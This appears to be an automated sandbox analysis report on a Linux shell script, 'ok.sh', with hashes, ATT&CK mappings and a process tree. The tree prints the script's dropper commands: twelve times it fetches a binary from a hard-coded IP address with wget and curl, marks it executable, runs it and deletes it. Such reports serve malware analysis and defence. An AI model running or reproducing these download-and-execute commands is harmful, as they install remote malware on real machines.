8525891ea500f864200ea363c6a554de547e4672b74e52a950f16f06af58bebe

Analysis

max time kernel
3s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12/08/2026, 02:14

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General

Target
ok.sh
Size 1KB
Sample260812-cn8fcaaa59
SHA256 8525891ea500f864200ea363c6a554de547e4672b74e52a950f16f06af58bebe
MD5 3776191e0a66e32c591009dd262619cb
SHA1 a187e345aa7832d4ff269ad52ada761243d76b32
SHA512 8748b40b95033f977468189a4181a445252cbb9c049da37c59b832c0fe0aba40a78f3a706e915e360bedf00ab80730329662e0bcec8571627c1b9609c49c0cb3
TLSH
T1D83164DA54141A312502CA9E7772390CA29FA2FB2D8FD7D49C9C0E9942887CCF661B59
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1506	chmod
1538	chmod
1559	chmod
1566	chmod
1573	chmod
1580	chmod
1517	chmod
1524	chmod
1531	chmod
1545	chmod
1552	chmod
1587	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/531853	1507	ok.sh
/tmp/1b2509	1518	ok.sh
/tmp/becf65	1525	ok.sh
/tmp/905d94	1532	ok.sh
/tmp/110dc2	1539	ok.sh
/tmp/81d27b	1546	ok.sh
/tmp/0d650b	1553	ok.sh
/tmp/c0589f	1560	ok.sh
/tmp/a2301d	1567	ok.sh
/tmp/ae64e3	1574	ok.sh
/tmp/d1882a	1581	ok.sh
/tmp/53ffdd	1588	ok.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/110dc2	curl
File opened for modification	/tmp/0d650b	curl
File opened for modification	/tmp/a2301d	curl
File opened for modification	/tmp/531853	curl
File opened for modification	/tmp/1b2509	curl
File opened for modification	/tmp/905d94	curl
File opened for modification	/tmp/81d27b	curl
File opened for modification	/tmp/c0589f	curl
File opened for modification	/tmp/ae64e3	curl
File opened for modification	/tmp/d1882a	curl
File opened for modification	/tmp/53ffdd	curl
File opened for modification	/tmp/becf65	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:1498
- /usr/bin/wget
  wget http://5.182.210.174/531853
  2⤵
  PID:1499
- /usr/bin/curl
  curl -O http://5.182.210.174/531853
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/chmod
  chmod 777 531853
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/531853
  ./531853 bc
  2⤵
  PID:1507
- /bin/rm
  rm -rf 531853
  2⤵
  PID:1509
- /bin/rm
  rm -rf 531853.1
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://5.182.210.174/1b2509
  2⤵
  PID:1511
- /usr/bin/curl
  curl -O http://5.182.210.174/1b2509
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 1b2509
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/1b2509
  ./1b2509 bc
  2⤵
  PID:1518
- /bin/rm
  rm -rf 1b2509
  2⤵
  PID:1520
- /bin/rm
  rm -rf 1b2509.1
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://5.182.210.174/becf65
  2⤵
  PID:1522
- /usr/bin/curl
  curl -O http://5.182.210.174/becf65
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 becf65
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/becf65
  ./becf65 bc
  2⤵
  PID:1525
- /bin/rm
  rm -rf becf65
  2⤵
  PID:1527
- /bin/rm
  rm -rf becf65.1
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://5.182.210.174/905d94
  2⤵
  PID:1529
- /usr/bin/curl
  curl -O http://5.182.210.174/905d94
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod 777 905d94
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/905d94
  ./905d94 bc
  2⤵
  PID:1532
- /bin/rm
  rm -rf 905d94
  2⤵
  PID:1534
- /bin/rm
  rm -rf 905d94.1
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://5.182.210.174/110dc2
  2⤵
  PID:1536
- /usr/bin/curl
  curl -O http://5.182.210.174/110dc2
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod 777 110dc2
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/110dc2
  ./110dc2 bc
  2⤵
  PID:1539
- /bin/rm
  rm -rf 110dc2
  2⤵
  PID:1541
- /bin/rm
  rm -rf 110dc2.1
  2⤵
  PID:1542
- /usr/bin/wget
  wget http://5.182.210.174/81d27b
  2⤵
  PID:1543
- /usr/bin/curl
  curl -O http://5.182.210.174/81d27b
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod 777 81d27b
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/81d27b
  ./81d27b bc
  2⤵
  PID:1546
- /bin/rm
  rm -rf 81d27b
  2⤵
  PID:1548
- /bin/rm
  rm -rf 81d27b.1
  2⤵
  PID:1549
- /usr/bin/wget
  wget http://5.182.210.174/0d650b
  2⤵
  PID:1550
- /usr/bin/curl
  curl -O http://5.182.210.174/0d650b
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/chmod
  chmod 777 0d650b
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/0d650b
  ./0d650b bc
  2⤵
  PID:1553
- /bin/rm
  rm -rf 0d650b
  2⤵
  PID:1555
- /bin/rm
  rm -rf 0d650b.1
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://5.182.210.174/c0589f
  2⤵
  PID:1557
- /usr/bin/curl
  curl -O http://5.182.210.174/c0589f
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod 777 c0589f
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/c0589f
  ./c0589f bc
  2⤵
  PID:1560
- /bin/rm
  rm -rf c0589f
  2⤵
  PID:1562
- /bin/rm
  rm -rf c0589f.1
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://5.182.210.174/a2301d
  2⤵
  PID:1564
- /usr/bin/curl
  curl -O http://5.182.210.174/a2301d
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/chmod
  chmod 777 a2301d
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/a2301d
  ./a2301d bc
  2⤵
  PID:1567
- /bin/rm
  rm -rf a2301d
  2⤵
  PID:1569
- /bin/rm
  rm -rf a2301d.1
  2⤵
  PID:1570
- /usr/bin/wget
  wget http://5.182.210.174/ae64e3
  2⤵
  PID:1571
- /usr/bin/curl
  curl -O http://5.182.210.174/ae64e3
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod 777 ae64e3
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/ae64e3
  ./ae64e3 bc
  2⤵
  PID:1574
- /bin/rm
  rm -rf ae64e3
  2⤵
  PID:1576
- /bin/rm
  rm -rf ae64e3.1
  2⤵
  PID:1577
- /usr/bin/wget
  wget http://5.182.210.174/d1882a
  2⤵
  PID:1578
- /usr/bin/curl
  curl -O http://5.182.210.174/d1882a
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/chmod
  chmod 777 d1882a
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/d1882a
  ./d1882a bc
  2⤵
  PID:1581
- /bin/rm
  rm -rf d1882a
  2⤵
  PID:1583
- /bin/rm
  rm -rf d1882a.1
  2⤵
  PID:1584
- /usr/bin/wget
  wget http://5.182.210.174/53ffdd
  2⤵
  PID:1585
- /usr/bin/curl
  curl -O http://5.182.210.174/53ffdd
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/chmod
  chmod 777 53ffdd
  2⤵
  - File and Directory Permissions Modification
  PID:1587
- /tmp/53ffdd
  ./53ffdd bc
  2⤵
  PID:1588
- /bin/rm
  rm -rf 53ffdd
  2⤵
  PID:1590
- /bin/rm
  rm -rf 53ffdd.1
  2⤵
  PID:1591

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

531853

Path /tmp/531853
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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